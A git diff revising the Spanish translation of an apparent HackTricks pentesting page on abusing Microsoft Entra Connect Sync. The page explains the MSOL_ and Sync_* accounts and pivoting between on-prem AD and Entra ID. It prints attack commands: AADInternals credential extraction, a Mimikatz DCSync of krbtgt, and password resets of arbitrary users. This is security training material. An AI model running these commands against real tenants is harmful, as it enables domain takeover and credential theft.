diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md index cac01ac6c..97997aa67 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md @@ -2,63 +2,67 @@ {{#include ../../../banners/hacktricks-training.md}} -## Información Básica +## Información básica -[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Los servicios de sincronización de Microsoft Entra Connect (Microsoft Entra Connect Sync) son un componente principal de Microsoft Entra Connect. Se encarga de todas las operaciones relacionadas con la sincronización de datos de identidad entre su entorno local y Microsoft Entra ID. +[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) es un componente principal de Microsoft Entra Connect. Se encarga de todas las operaciones relacionadas con la sincronización de datos de identidad entre tu entorno on-premises y Microsoft Entra ID. + +El servicio de sincronización consta de dos componentes, el componente on-premises **Microsoft Entra Connect Sync** y el lado de servicio en Microsoft Entra ID llamado **Microsoft Entra Connect Sync service**. + +Para usarlo, es necesario instalar el agente **`Microsoft Entra Connect Sync`** en un servidor dentro de tu entorno AD. Este agente será el encargado de la sincronización desde el lado de AD. -Para usarlo, es necesario instalar el **`Microsoft Entra Connect Sync`** agente en un servidor dentro de su entorno de AD. Este agente será el encargado de la sincronización desde el lado de AD.
-El **Connect Sync** es básicamente la forma "antigua" de Azure para **sincronizar usuarios de AD en Entra ID.** La nueva forma recomendada es usar **Entra Cloud Sync**: +El **Connect Sync** es básicamente la manera "antigua" de Azure para **sincronizar usuarios desde AD hacia Entra ID.** La forma recomendada ahora es usar **Entra Cloud Sync**: {{#ref}} az-cloud-sync.md {{#endref}} -### Principales Generados +### Principales generados -- La cuenta **`MSOL_`** se crea automáticamente en el AD local. Esta cuenta recibe un rol de **Cuentas de Sincronización de Directorio** (ver [documentación](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) lo que significa que tiene **permisos de replicación (DCSync) en el AD local**. -- Esto significa que cualquier persona que comprometa esta cuenta podrá comprometer el dominio local. -- Se crea una cuenta de servicio administrada **`ADSyncMSA`** en el AD local sin privilegios especiales por defecto. -- En Entra ID, se crea el Principal de Servicio **`ConnectSyncProvisioning_ConnectSync_`** con un certificado. +- La cuenta **`MSOL_`** se crea automáticamente en el AD on-prem. A esta cuenta se le asigna el rol **Directory Synchronization Accounts** (ver [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) lo que significa que tiene **permisos de replicación (DCSync) en el AD on-prem**. +- Esto implica que cualquiera que comprometa esta cuenta podrá comprometer el dominio on-premise. +- Se crea en el AD on-prem una cuenta de servicio administrada **`ADSyncMSA`** sin privilegios especiales por defecto. +- En Entra ID se crea el Service Principal **`ConnectSyncProvisioning_ConnectSync_`** con un certificado. -## Sincronizar Contraseñas +## Sincronización de contraseñas -### Sincronización de Hash de Contraseña +### Sincronización de hashes de contraseñas -Este componente también se puede usar para **sincronizar contraseñas de AD en Entra ID** para que los usuarios puedan usar sus contraseñas de AD para conectarse a Entra ID. Para esto, es necesario permitir la sincronización de hash de contraseña en el agente de Microsoft Entra Connect Sync instalado en un servidor de AD. +Este componente también puede usarse para **sincronizar contraseñas desde AD hacia Entra ID** para que los usuarios puedan usar sus contraseñas de AD para conectarse a Entra ID. Para esto, es necesario permitir la sincronización de hashes de contraseña en el agente Microsoft Entra Connect Sync instalado en un servidor AD. -[Desde la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La sincronización de hash de contraseña** es uno de los métodos de inicio de sesión utilizados para lograr identidad híbrida. **Azure AD Connect** sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory local a una instancia de Azure AD basada en la nube. +[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** es uno de los métodos de inicio de sesión usados para lograr identidad híbrida. **Azure AD Connect** sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory on-premises hacia una instancia de Azure AD en la nube. -Básicamente, todos los **usuarios** y un **hash de los hashes de contraseña** se sincronizan desde el local a Azure AD. Sin embargo, las **contraseñas en texto claro** o los **hashes** **originales** no se envían a Azure AD. +Básicamente, todos los **usuarios** y un **hash de los hashes de contraseña** son sincronizados desde el on-prem hacia Azure AD. Sin embargo, **las contraseñas en texto claro** o los **hashes originales** no se envían a Azure AD. -La **sincronización de hashes** ocurre cada **2 minutos**. Sin embargo, por defecto, la **expiración de contraseñas** y la **expiración de cuentas** **no se sincronizan** en Azure AD. Por lo tanto, un usuario cuya **contraseña local ha expirado** (no cambiada) puede continuar **accediendo a recursos de Azure** usando la contraseña antigua. +La **sincronización de hashes** ocurre cada **2 minutos**. Sin embargo, por defecto, el **vencimiento de contraseña** y el **vencimiento de cuenta** **no se sincronizan** en Azure AD. Por lo tanto, un usuario cuya **contraseña on-prem ha expirado** (no cambiada) puede continuar **accediendo a recursos de Azure** usando la contraseña antigua. -Cuando un usuario local quiere acceder a un recurso de Azure, la **autenticación se realiza en Azure AD**. +Cuando un usuario on-prem quiere acceder a un recurso de Azure, la **autenticación se realiza en Azure AD**. > [!NOTE] -> Por defecto, los usuarios de grupos privilegiados conocidos como Administradores de Dominio con el atributo **`adminCount` a 1 no se sincronizan** con Entra ID por razones de seguridad. Sin embargo, otros usuarios que son parte de grupos privilegiados sin este atributo o que tienen privilegios altos asignados directamente **pueden ser sincronizados**. +> Por defecto los usuarios de grupos privilegiados conocidos como Domain Admins con el atributo **`adminCount` en 1 no son sincronizados** con Entra ID por razones de seguridad. Sin embargo, otros usuarios que son parte de grupos privilegiados sin este atributo o que tienen privilegios elevados asignados directamente **pueden ser sincronizados**. -### Escritura de Contraseña -Esta configuración permite **sincronizar contraseñas de Entra ID en AD** cuando un usuario cambia su contraseña en Entra ID. Tenga en cuenta que para que la escritura de contraseña funcione, el usuario `MSOL_` generado automáticamente en el AD necesita recibir [más privilegios como se indica en la documentación](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) para que pueda **modificar las contraseñas de cualquier usuario en el AD**. +### Password Writeback -Esto es especialmente interesante para comprometer el AD desde un Entra ID comprometido, ya que podrá modificar la contraseña de "casi" cualquier usuario. +Esta configuración permite **sincronizar contraseñas desde Entra ID hacia AD** cuando un usuario cambia su contraseña en Entra ID. Nota que para que el password writeback funcione, al usuario `MSOL_` generado automáticamente en el AD se le deben otorgar [más privilegios como se indica en la documentación](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) para que pueda **modificar las contraseñas de cualquier usuario en el AD**. -Los administradores de dominio y otros usuarios que pertenecen a algunos grupos privilegiados no se replican si el grupo tiene el **atributo `adminCount` a 1**. Pero otros usuarios que han sido asignados altos privilegios dentro del AD sin pertenecer a ninguno de esos grupos podrían tener su contraseña cambiada. Por ejemplo: +Esto es especialmente interesante para comprometer el AD desde un Entra ID comprometido, ya que podrás modificar la contraseña de "casi" cualquier usuario. -- Usuarios asignados altos privilegios directamente. +Los domain admins y otros usuarios pertenecientes a algunos grupos privilegiados no se replican si el grupo tiene el **atributo `adminCount` en 1**. Pero otros usuarios a los que se les hayan asignado privilegios elevados dentro del AD sin pertenecer a ninguno de esos grupos podrían tener su contraseña cambiada. Por ejemplo: + +- Usuarios a los que se les asignaron privilegios elevados directamente. - Usuarios del grupo **`DNSAdmins`**. -- Usuarios del grupo **`Group Policy Creator Owners`** que han creado GPOs y les han asignado a OUs podrán modificar los GPOs que crearon. +- Usuarios del grupo **`Group Policy Creator Owners`** que hayan creado GPOs y los hayan asignado a OUs podrán modificar los GPOs que crearon. - Usuarios del **`Cert Publishers Group`** que pueden publicar certificados en Active Directory. -- Usuarios de cualquier otro grupo con altos privilegios sin el **atributo `adminCount` a 1**. +- Usuarios de cualquier otro grupo con privilegios elevados sin el **atributo `adminCount` en 1**. -## Pivotando AD --> Entra ID +## Pivotar AD --> Entra ID ### Enumerando Connect Sync -Verifique los usuarios: +Comprobar usuarios: ```bash # Check for the users created by the Connect Sync Install-WindowsFeature RSAT-AD-PowerShell @@ -76,25 +80,25 @@ $searcher.FindAll() $searcher.Filter = "(samAccountName=Sync_*)" $searcher.FindAll() ``` -Verifique la **configuración de Connect Sync** (si la hay): +Comprobar la **configuración de Connect Sync** (si existe): ```bash az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization" # Check if password sychronization is enabled, if password and group writeback are enabled... ``` ### Encontrar las contraseñas -Las contraseñas del **`MSOL_*`** usuario (y del **Sync\_\*** usuario si se creó) están **almacenadas en un servidor SQL** en el servidor donde **Entra ID Connect está instalado.** Los administradores pueden extraer las contraseñas de esos usuarios privilegiados en texto claro.\ -La base de datos se encuentra en `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. +Las contraseñas del **`MSOL_*`** usuario (y del **Sync\_\*** usuario si fue creado) están **almacenadas en un servidor SQL** en el servidor donde **Entra ID Connect** está instalado. Los administradores pueden extraer las contraseñas de esos usuarios privilegiados en texto sin cifrar.\ +La base de datos está localizada en `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`. -Es posible extraer la configuración de una de las tablas, siendo una de ellas encriptada: +Es posible extraer la configuración de una de las tablas, siendo una de ellas cifrada: `SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;` -La **configuración encriptada** está encriptada con **DPAPI** y contiene las **contraseñas del `MSOL_*`** usuario en AD local y la contraseña de **Sync\_\*** en AzureAD. Por lo tanto, comprometer estas contraseñas permite escalar privilegios en AD y en AzureAD. +La **configuración cifrada** está protegida con **DPAPI** y contiene las **contraseñas del `MSOL_*`** usuario en el on-prem AD y la contraseña de **Sync\_\*** en AzureAD. Por lo tanto, comprometiendo estas credenciales es posible realizar privesc en el AD y en AzureAD. -Puedes encontrar una [visión general completa de cómo se almacenan y desencriptan estas credenciales en esta charla](https://www.youtube.com/watch?v=JEIR5oGCwdg). +Puedes encontrar una [visión completa de cómo se almacenan y descifran estas credenciales en esta charla](https://www.youtube.com/watch?v=JEIR5oGCwdg). -### Abusando de MSOL\_\* +### Abusar de MSOL\_\* ```bash # Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version @@ -112,34 +116,35 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"' ``` > [!WARNING] -> Ataques anteriores comprometieron la otra contraseña para luego conectarse al usuario de Entra ID llamado `Sync_*` y luego comprometer Entra ID. Sin embargo, este usuario ya no existe. +> Ataques anteriores comprometieron la otra contraseña para luego conectarse al usuario de Entra ID llamado `Sync_*` y así comprometer Entra ID. Sin embargo, este usuario ya no existe. -### Abusando ConnectSyncProvisioning_ConnectSync\_ -Esta aplicación se crea sin tener asignados roles de gestión de Entra ID o Azure. Sin embargo, tiene los siguientes permisos de API: +### Abusar de ConnectSyncProvisioning_ConnectSync\_ + +Esta aplicación se crea sin tener asignados roles de Entra ID o administración de Azure. Sin embargo, tiene los siguientes permisos de API: - Microsoft Entra AD Synchronization Service - `ADSynchronization.ReadWrite.All` -- Servicio de restablecimiento de contraseña de Microsoft +- Microsoft password reset service - `PasswordWriteback.OffboardClient.All` - `PasswordWriteback.RefreshClient.All` - `PasswordWriteback.RegisterClientVersion.All` -Se menciona que el SP de esta aplicación aún se puede utilizar para realizar algunas acciones privilegiadas utilizando una API no documentada, pero hasta donde sé, no se ha encontrado ninguna PoC.\ -En cualquier caso, pensando que esto podría ser posible, sería interesante explorar más a fondo cómo encontrar el certificado para iniciar sesión como este principal de servicio y tratar de abusar de él. +Se menciona que el SP de esta aplicación aún puede usarse para realizar algunas acciones privilegiadas mediante una API no documentada, pero no se ha encontrado ningún PoC hasta donde yo sé.\ +En cualquier caso, pensando que esto podría ser posible, sería interesante explorar más cómo encontrar el certificado para iniciar sesión como este service principal y tratar de abusar de él. -Esta [entrada de blog](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) se publicó poco antes del cambio de usar el usuario `Sync_*` a este principal de servicio, explicó que el certificado se almacenaba dentro del servidor y era posible encontrarlo, generar PoP (Prueba de Posesión) de él y token gráfico, y con esto, poder agregar un nuevo certificado al principal de servicio (porque un **principal de servicio** siempre puede asignarse nuevos certificados) y luego usarlo para mantener la persistencia como el SP. +Este [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) publicado poco después del cambio de usar el usuario `Sync_*` a este service principal, explicó que el certificado se almacenaba en el servidor y que era posible encontrarlo, generar PoP (Proof of Possession) y un graph token, y con esto poder añadir un nuevo certificado al service principal (porque un **service principal** siempre puede asignarse nuevos certificados) y luego usarlo para mantener persistencia como el SP. -Para realizar estas acciones, se publican las siguientes herramientas: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils). +Para realizar estas acciones, se publicaron las siguientes herramientas: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils). -En mi experiencia, el certificado ya no se almacena en el lugar donde la herramienta anterior lo estaba buscando, y por lo tanto, la herramienta ya no funciona. Así que puede ser necesaria más investigación. +Según [esta pregunta](https://github.com/hotnops/ECUtilities/issues/1#issuecomment-3220989919), para encontrar el certificado, debes ejecutar la herramienta desde un proceso que haya robado el token del proceso `miiserver`. -### Abusando Sync\_\* [DEPRECATED] +### Abusar de Sync\_\* [DEPRECATED] > [!WARNING] -> Anteriormente, se creó un usuario llamado `Sync_*` en Entra ID con permisos muy sensibles asignados, lo que permitía realizar acciones privilegiadas como modificar la contraseña de cualquier usuario o agregar una nueva credencial a un principal de servicio. Sin embargo, a partir de enero de 2025, este usuario ya no se crea por defecto, ya que ahora se utiliza la Aplicación/SP **`ConnectSyncProvisioning_ConnectSync_`**. Sin embargo, aún podría estar presente en algunos entornos, por lo que vale la pena verificarlo. +> Anteriormente se creaba en Entra ID un usuario llamado `Sync_*` con permisos muy sensibles asignados, lo que permitía realizar acciones privilegiadas como modificar la contraseña de cualquier usuario o añadir una nueva credencial a un service principal. Sin embargo, desde Jan2025 este usuario ya no se crea por defecto, ya que ahora se usa la Application/SP **`ConnectSyncProvisioning_ConnectSync_`**. Aun así, podría seguir presente en algunos entornos, por lo que vale la pena comprobarlo. -Comprometer la cuenta **`Sync_*`** permite **restablecer la contraseña** de cualquier usuario (incluidos los Administradores Globales). +Al comprometer la cuenta **`Sync_*`** es posible **restablecer la contraseña** de cualquier usuario (incluidos los Global Administrators) ```bash Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version Import-Module AADInternals @@ -163,7 +168,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` -También es posible **modificar las contraseñas de solo los usuarios de la nube** (incluso si eso es inesperado) +También es posible **modificar únicamente las contraseñas de cloud** users (incluso si eso es inesperado) ```bash # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. @@ -172,23 +177,23 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj # Reset password Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers ``` -También es posible volcar la contraseña de este usuario. +También es posible dump the password de este usuario. > [!CAUTION] -> Otra opción sería **asignar permisos privilegiados a un principal de servicio**, que el usuario **Sync** tiene **permisos** para hacer, y luego **acceder a ese principal de servicio** como una forma de privesc. +> Otra opción sería **assign privileged permissions to a service principal**, que el usuario **Sync** tiene **permissions** para hacer, y luego **access that service principal** como una forma de privesc. -### SSO Sin Costuras +### Seamless SSO -Es posible usar SSO Sin Costuras con PHS, que es vulnerable a otros abusos. Revísalo en: +Es posible usar Seamless SSO con PHS, lo cual es vulnerable a otros abusos. Consúltalo en: {{#ref}} az-seamless-sso.md {{#endref}} -## Pivotando Entra ID --> AD +## Pivoting Entra ID --> AD -- Si la escritura de contraseñas está habilitada, puedes **modificar la contraseña de cualquier usuario en el AD** que esté sincronizado con Entra ID. -- Si la escritura de grupos está habilitada, puedes **agregar usuarios a grupos privilegiados** en Entra ID que están sincronizados con el AD. +- Si password writeback está habilitado, puedes **modify the password of any user in the AD** que esté sincronizado con Entra ID. +- Si groups writeback está habilitado, puedes **add users to privileged groups** en Entra ID que estén sincronizados con el AD. ## Referencias